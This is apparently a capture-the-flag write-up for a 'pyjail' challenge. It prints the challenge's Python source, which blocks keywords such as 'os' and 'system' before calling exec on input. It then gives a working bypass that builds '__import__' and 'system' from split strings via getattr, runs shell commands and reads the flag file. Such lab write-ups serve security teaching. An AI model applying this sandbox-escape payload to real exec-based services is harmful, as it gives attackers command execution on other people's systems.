```$ nc prob.vulnerable.kr 20001Hi! Welcome to pyjail!========================================================================#! /usr/bin/python3#-*- coding:utf-8 -*-def main():    print("Hi! Welcome to pyjail!")    print("========================================================================")    print(open(__file__).read())    print("========================================================================")    print("RUN")    text = input('>>> ')    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:        if keyword in text:            print("No!!!")            return;    else:        exec(text)if __name__ == "__main__":    main()========================================================================RUN```
It's clear from the code that this a simple token matching for blacklist words.This can be easily bypassed by breaking up the words, eg - say we want to use os.system in exec, we can do getattr(os, "sys" + "tem")
```>>> print(getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('ls .'))binbootdevetchomeliblib32lib64libx32mediamntoptprocrootrunsbinsrvsystmpusrvar0```
Exploration leads to flag file in /home/python_jail```>>> print(getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('cat home/python_jail/flag'))KorNewbie{H311o_h0w_@r3_y0u_d0lng?}0```